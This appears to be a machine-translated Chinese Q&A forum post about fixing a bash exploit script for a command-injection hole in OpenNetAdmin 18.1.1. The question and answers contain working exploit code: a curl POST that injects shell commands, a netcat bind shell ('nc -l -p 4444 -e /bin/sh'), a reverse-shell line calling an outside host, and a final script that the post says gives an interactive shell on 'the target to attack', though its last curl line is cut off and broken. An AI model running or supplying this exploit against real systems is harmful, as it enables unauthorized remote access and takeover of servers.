用于利用的 Bash 语法问题



我在 openNetAdmin 18.1.1 的 exploit-db 上发现了一个漏洞

我必须调整这个脚本,让它对我有用,但我没有完成这个。 这是我到目前为止所拥有的:

URL="xxx.xxx.xxx.xxx/ona"
while true;do
echo -n {"nc -e /bin/sh xxx.xxx.xxx.xxx 4444 "}; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo "BEGIN";${cmd};echo "END"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

输出只是:

{nc -e /bin/sh xxx.xxx.xxx.xxx 4444 }

我在语法上有点挣扎。

我做错了什么?

如果您只需要启动 nc 程序,这就是您想要的。该脚本假设远程机器是一台 Linux 机器,使用 -e 支持编译/bin/bash 和 nc (netcat(

#!/bin/bash
URL="http://.../ona" 
cmd="nc -l -p 4444 -e /bin/sh"
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo "BEGIN";${cmd};echo "END"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

我找到了一个适合的解决方案:

#!/bin/bash
URL="http://xxx.xxx.xxx.xxx/ona/"
while true;do
echo -n "{/bin/sh -i}"; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltip>
done

只需将 xxx.xxx.xxx.xxx 替换为要攻击的目标,并将脚本保存为shell.sh

现在使用./shell.sh运行脚本,您将在目标系统上获得一个交互式 shell。

验证您现在可以键入pwdid并检查是否成功。

最新更新